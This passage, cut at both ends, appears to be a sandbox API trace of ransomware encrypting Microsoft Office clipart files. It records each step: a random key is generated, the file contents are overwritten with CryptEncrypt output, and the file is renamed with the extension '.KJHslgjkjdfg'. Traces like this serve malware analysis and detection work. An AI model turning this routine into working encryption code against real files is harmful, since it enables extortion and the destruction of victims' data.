lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.286] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.287] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.287] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b00, lpOverlapped=0x0) returned 1 [0198.287] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b00) returned 1 [0198.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.288] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b00, lpOverlapped=0x0) returned 1 [0198.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.288] SetEndOfFile (hFile=0x130) returned 1 [0198.291] GetProcessHeap () returned 0x990000 [0198.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.291] GetProcessHeap () returned 0x990000 [0198.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.kjhslgjkjdfg")) returned 1 [0198.292] CloseHandle (hObject=0x130) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0198.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.294] GetProcessHeap () returned 0x990000 [0198.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.294] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.294] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.296] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.296] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.296] GetProcessHeap () returned 0x990000 [0198.296] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.297] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.297] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.297] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.297] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.297] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.297] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.297] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.297] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.297] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.297] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x164c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x164c, lpOverlapped=0x0) returned 1 [0198.298] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1650, dwBufLen=0x1650 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1650) returned 1 [0198.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.298] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1650, lpOverlapped=0x0) returned 1 [0198.299] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.299] SetEndOfFile (hFile=0x130) returned 1 [0198.301] GetProcessHeap () returned 0x990000 [0198.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.302] GetProcessHeap () returned 0x990000 [0198.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.kjhslgjkjdfg")) returned 1 [0198.303] CloseHandle (hObject=0x130) returned 1 [0198.303] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0198.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.304] GetProcessHeap () returned 0x990000 [0198.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.304] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.304] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0198.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.307] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.307] GetProcessHeap () returned 0x990000 [0198.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.307] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.307] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.307] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.307] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.307] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.307] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.308] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9d26, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9d26, lpOverlapped=0x0) returned 1 [0198.309] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d30) returned 1 [0198.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.309] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9d30, lpOverlapped=0x0) returned 1 [0198.310] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.310] SetEndOfFile (hFile=0x130) returned 1 [0198.313] GetProcessHeap () returned 0x990000 [0198.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.313] GetProcessHeap () returned 0x990000 [0198.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.kjhslgjkjdfg")) returned 1 [0198.314] CloseHandle (hObject=0x130) returned 1 [0198.314] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0198.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.316] GetProcessHeap () returned 0x990000 [0198.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.316] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.320] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.320] GetProcessHeap () returned 0x990000 [0198.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.320] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.320] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.320] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.320] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.320] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.321] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.321] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x668c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x668c, lpOverlapped=0x0) returned 1 [0198.322] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6690, dwBufLen=0x6690 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6690) returned 1 [0198.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.323] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6690, lpOverlapped=0x0) returned 1 [0198.323] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.323] SetEndOfFile (hFile=0x130) returned 1 [0198.326] GetProcessHeap () returned 0x990000 [0198.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.326] GetProcessHeap () returned 0x990000 [0198.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.kjhslgjkjdfg")) returned 1 [0198.329] CloseHandle (hObject=0x130) returned 1 [0198.329] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0198.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.330] GetProcessHeap () returned 0x990000 [0198.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.330] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.333] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.333] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.333] GetProcessHeap () returned 0x990000 [0198.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.333] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.333] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.333] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.333] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.333] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.333] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.334] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.334] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.334] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.334] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x849c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x849c, lpOverlapped=0x0) returned 1 [0198.335] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, 